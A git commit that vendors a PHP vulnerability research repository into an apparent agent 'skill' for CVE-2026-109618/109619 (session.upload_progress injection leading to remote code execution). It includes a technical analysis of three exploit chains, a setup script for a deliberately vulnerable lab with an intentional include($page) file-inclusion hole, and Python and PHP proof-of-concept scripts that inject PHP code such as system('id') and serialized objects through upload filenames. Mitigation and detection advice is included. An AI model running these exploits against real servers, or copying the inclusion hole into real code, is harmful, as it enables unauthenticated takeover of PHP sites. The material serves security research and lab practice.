feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs

Implements #109. Skills ship the chain-1 workflow (session file injection
through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619)
with hard gates: authorized targets only, program zero-day policy checked
before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive
detection before exploitation, lab-first practice via the vendored docker
lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot
verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell
with attribution and the MIT notice (upstream declares MIT in its README).
This commit is contained in:
BaaRai
2026-10-21 14:52:40 +02:00
parent 43a072861d
commit 750f4eb091
8 changed files with 739 additions and 0 deletions
+20
View File
@@ -0,0 +1,20 @@
MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+81
View File
@@ -0,0 +1,81 @@
# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
**Author:** Qi Deng ([@ikow](https://github.com/ikow))
**Date:** 2026-10-21
**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
## Overview
Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
### Verified Attack Chains
| Chain | Type | Conditions | Verified |
|-------|------|-----------|----------|
| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
### Key Findings
1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
2. **Unvalidated filename** in upload_progress stored raw in session files
3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
## Repository Structure
```
poc/
verify_session_injection.py — Verify filename injection into session files
verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy)
verify_handler_mismatch.py — Verify handler mismatch → object deserialization
lab/
docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment
Dockerfile — Vulnerable PHP build
php.ini — Lab configuration
setup.sh — One-click lab setup
docs/
ANALYSIS.md — Full technical analysis
```
## Quick Start
```bash
# Start the lab
cd lab && ./setup.sh
# Verify session injection
python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
# Verify UAF (requires ASAN build)
docker exec php-asan-lab php poc/verify_uaf_asan.php
# Verify handler mismatch
python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
```
## Affected Versions
- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
## Mitigation
```ini
; Immediate mitigation (does NOT fix all attack paths)
session.upload_progress.enabled = Off
session.use_only_cookies = On
```
## Disclaimer
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
## License
MIT
+197
View File
@@ -0,0 +1,197 @@
# php2shell — Full Technical Analysis
## CVE-2026-109618 / CVE-2026-109619
**Author:** Qi Deng **Date:** 2026-10-21
---
## 1. Vulnerability Summary
Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
| Bug | Root Cause | Impact |
|-----|-----------|--------|
| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
## 2. Attack Chains
### Chain A: Session Injection + LFI → RCE
```
Conditions: upload_progress.enabled=On (default) + application has LFI
Complexity: Low | Reliability: 100%
1. POST multipart with PHP code in filename
2. rfc1867 handler stores filename as-is in session file
3. include(session_file) → execute injected PHP → RCE
```
**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
### Chain B: var_destroy UAF → RCE
```
Conditions: ability to call unserialize() with controlled data
Complexity: Medium | Reliability: ~60% (heap-dependent)
1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
2. Duplicate key moves object to dtor list
3. var_destroy Phase 1: efree extension chunks
4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
```
**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
### Chain C: Handler Mismatch → `__destruct` → RCE
```
Conditions: target has directories with different session.serialize_handler
Complexity: Medium | Reliability: High
1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
2. Upload to Dir B (php handler) with same SID
3. rfc1867 reads php_serialize session with php decoder
4. php decoder finds | in filename → splits → deserializes injected object
5. Trailing data → decode FAILURE
6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
7. POP gadget chain → RCE
```
**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
## 3. Root Cause Analysis
### 3.1 Session Fixation (ext/session/session.c)
```c
// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
if (name_len == progress->sname_len &&
memcmp(data->name, PS(session_name), name_len) == 0) {
zval_ptr_dtor(&progress->sid);
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
// ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
}
```
Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
### 3.2 Unvalidated Filename
```c
// FILE_START handler stores raw filename
add_assoc_string_ex(&progress->current_file, "name",
sizeof("name") - 1, *data->filename);
// ← No sanitization, no encoding, no length limit
```
Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
```c
void var_destroy(php_unserialize_data_t *var_hashx) {
// Phase 1: FREE extension chunks
while (var_hash) {
efree_size(var_hash, sizeof(var_entries)); // ← line 245
var_hash = next;
}
// Phase 2: walk dtor chain
while (var_dtor_hash) {
// ...
i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock!
// __destruct fires → inner unserialize() → R:N reads freed chunk
}
}
```
### 3.4 Serializer Leak (ext/session/session.c)
```c
static void php_rshutdown_session_globals(void) {
// Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
// Does NOT reset: PS(serializer) ← persists across FPM requests!
}
```
### 3.5 `__destruct` on Decode Failure
```c
PS_SERIALIZER_DECODE_FUNC(php) {
while (p < endptr) {
// ... find |, deserialize value ...
if (php_var_unserialize(...)) {
php_set_session_var(name, &rv, &var_hash); // object stored
} else {
retval = FAILURE; goto break_outer_loop;
}
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE
return retval; // FAILURE
}
```
Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
## 4. Version Matrix
| Version | upload_progress | Vulnerable | Official Fix |
|---------|----------------|------------|-------------|
| < 5.4 | No | No | N/A |
| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
| 8.2.x | Yes | Yes | → 8.2.35 |
| 8.3.x | Yes | Yes | → 8.3.36 |
| 8.4.x | Yes | Yes | → 8.4.27 |
| 8.5.x | Yes | Yes | → 8.5.12 |
Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
## 5. Detection
```bash
# Check PHP version
php -r 'echo PHP_VERSION, PHP_EOL;'
# Check upload_progress setting
php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
# Check for handler mismatch across directories
find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
# Monitor for exploitation attempts
grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
```
## 6. Mitigation
```ini
; Primary mitigation
session.upload_progress.enabled = Off
; Additional hardening
session.use_only_cookies = On
session.use_strict_mode = On
; Ensure consistent handler across directories
session.serialize_handler = php_serialize
```
**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
## 7. References
- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)
+116
View File
@@ -0,0 +1,116 @@
#!/bin/bash
set -e
echo "Setting up PHP 8.2.34 vulnerable lab environment..."
cd "$(dirname "$0")"
# Create webroot
mkdir -p webroot/app webroot/api webroot/reader
cat > webroot/index.php << 'EOF'
<?php
session_start();
echo "PHP " . PHP_VERSION . "\n";
echo "SAPI " . php_sapi_name() . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
echo "OK\n";
EOF
cat > webroot/nosession.php << 'EOF'
<?php
echo "PHP " . PHP_VERSION . "\nno session_start\n";
EOF
# Directory with php_serialize handler
echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
cp webroot/nosession.php webroot/app/upload.php
# Directory with php handler
echo "session.serialize_handler = php" > webroot/api/.user.ini
cp webroot/nosession.php webroot/api/endpoint.php
# LFI simulation (for Chain 1 verification)
cat > webroot/vuln.php << 'EOF'
<?php
$page = $_GET['page'] ?? 'home';
include($page);
EOF
# PHP configuration
cat > php.ini << 'EOF'
[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq = 1%
session.upload_progress.min_freq = 0
[PHP]
display_errors = On
error_reporting = E_ALL
file_uploads = On
post_max_size = 128M
upload_max_filesize = 128M
EOF
# Nginx config
cat > nginx.conf << 'EOF'
server {
listen 80;
root /var/www/html;
index index.php;
client_max_body_size 128m;
location / { try_files $uri $uri/ /index.php?$query_string; }
location ~ \.php$ {
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_request_buffering off;
}
}
EOF
# Docker Compose
cat > docker-compose.yml << 'EOF'
services:
php:
image: php:8.2-fpm
container_name: php2shell-lab
ports: ["9000:9000"]
volumes:
- ./webroot:/var/www/html
- ./php.ini:/usr/local/etc/php/php.ini
security_opt: [seccomp:unconfined]
privileged: true
command: >
bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
nginx:
image: nginx:alpine
container_name: php2shell-nginx
ports: ["18080:80"]
volumes:
- ./webroot:/var/www/html
- ./nginx.conf:/etc/nginx/conf.d/default.conf
depends_on: [php]
EOF
echo "Starting containers..."
docker compose up -d --build
echo ""
echo "Lab ready!"
echo " HTTP: http://127.0.0.1:18080"
echo " FCGI: 127.0.0.1:9000"
echo ""
echo "Run POCs:"
echo " python3 ../poc/verify_session_injection.py"
echo " python3 ../poc/verify_handler_mismatch.py"
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
Demonstrates:
1. Session written in php_serialize format (via directory with .user.ini)
2. Pipe | in filename preserved in php_serialize format
3. php handler reads the session → splits at | → deserializes injected object
4. __destruct fires even when decode returns FAILURE (trailing data)
Setup required:
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
- /api/ directory with .user.ini: session.serialize_handler = php
- Both share the same session.save_path
Usage:
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def upload(host, port, path, sid, filename):
boundary = "MISMATCH"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--write-path", default="/app/upload.php",
help="Endpoint with php_serialize handler")
ap.add_argument("--read-path", default="/api/endpoint.php",
help="Endpoint with php handler")
ap.add_argument("--sid", default="mismatchverify0000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
print(f"[*] Target: {args.target}")
print()
# Step 1: Write session via php_serialize endpoint
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
gadget = 'x|O:8:\\"stdClass\\":0:{}'
print(f"[1] Writing session via {args.write_path} (php_serialize)")
print(f" Filename payload: {gadget}")
upload(host, port, args.write_path, args.sid, gadget)
print(" → Session file written in php_serialize format")
# Step 2: Trigger via php handler endpoint
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
resp = upload(host, port, args.read_path, args.sid, "dummy")
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
print(f" Response: {status}")
print()
print("[*] Verification indicators:")
print(" - 'Failed to decode session object' warning = mismatch triggered")
print(" - 'Session object destruction failed' = __destruct fired on injected object")
print(" - If target has a class with exploitable __destruct → RCE")
print()
print("[*] Check target for:")
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
if __name__ == "__main__":
main()
@@ -0,0 +1,105 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
Demonstrates:
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
2. Unvalidated filename stored raw in session file (can contain PHP code)
3. Session file created with attacker-controlled content
Usage:
python3 verify_session_injection.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def send_upload(host, port, path, sid, filename):
boundary = "VERIFY"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--path", default="/index.php")
ap.add_argument("--sid", default="verifysession00000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
print(f"[*] Target: {args.target}")
print()
# Test 1: Normal filename
print("[1] Testing normal filename...")
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
print(" → Session file should contain: s:10:\"normal.txt\"")
# Test 2: PHP code in filename
php_payload = "<?php system('id');echo 'RCE';?>"
print(f"[2] Testing PHP code in filename: {php_payload}")
send_upload(host, port, args.path, args.sid + "b", php_payload)
print(f" → Session file should contain PHP code as raw string")
# Test 3: Pipe character in filename (for handler mismatch)
pipe_payload = "x|O:8:\"stdClass\":0:{}"
print(f"[3] Testing pipe + serialized object in filename")
# Need \" escaping for Content-Disposition
escaped = pipe_payload.replace('"', '\\"')
send_upload(host, port, args.path, args.sid + "c", escaped)
print(f" → Session file should contain |O:8: in the filename field")
print()
print("[*] Verification complete. Check session files on the target:")
print(f" cat /tmp/sessions/sess_{args.sid}a")
print(f" cat /tmp/sessions/sess_{args.sid}b")
print(f" cat /tmp/sessions/sess_{args.sid}c")
print()
print("[*] Key indicators:")
print(" - Session fixation: file created with attacker-controlled SID")
print(" - Filename injection: raw PHP code / serialized objects in session data")
print(" - No authentication required")
if __name__ == "__main__":
main()
@@ -0,0 +1,48 @@
<?php
/**
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
*
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
*
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
*
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
*
* For authorized security testing only.
*/
class TriggerUAF {
public function __destruct() {
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
$result = @unserialize('R:1500;');
$type = gettype($result);
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
if ($result !== false) {
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
}
}
}
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
// Then duplicate key to move TriggerUAF to dtor list
$N = 2000;
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) {
$payload .= "i:$i;i:$i;";
}
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
$payload .= 'i:99999;i:42;';
$payload .= '}';
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
fwrite(STDERR, "[*] Firing unserialize()...\n");
@unserialize($payload);
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
fwrite(STDERR, "[*] Expected ASAN trace:\n");
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");